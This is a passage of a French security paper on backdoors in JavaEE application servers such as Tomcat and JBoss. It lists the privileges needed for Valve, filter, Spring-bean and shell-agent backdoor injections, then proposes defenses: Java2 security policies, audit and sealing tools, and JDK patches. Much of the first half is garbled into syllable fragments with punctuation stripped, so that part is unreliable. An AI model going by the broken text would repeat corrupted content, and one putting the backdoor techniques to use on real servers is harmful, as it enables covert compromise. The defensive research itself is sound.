accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
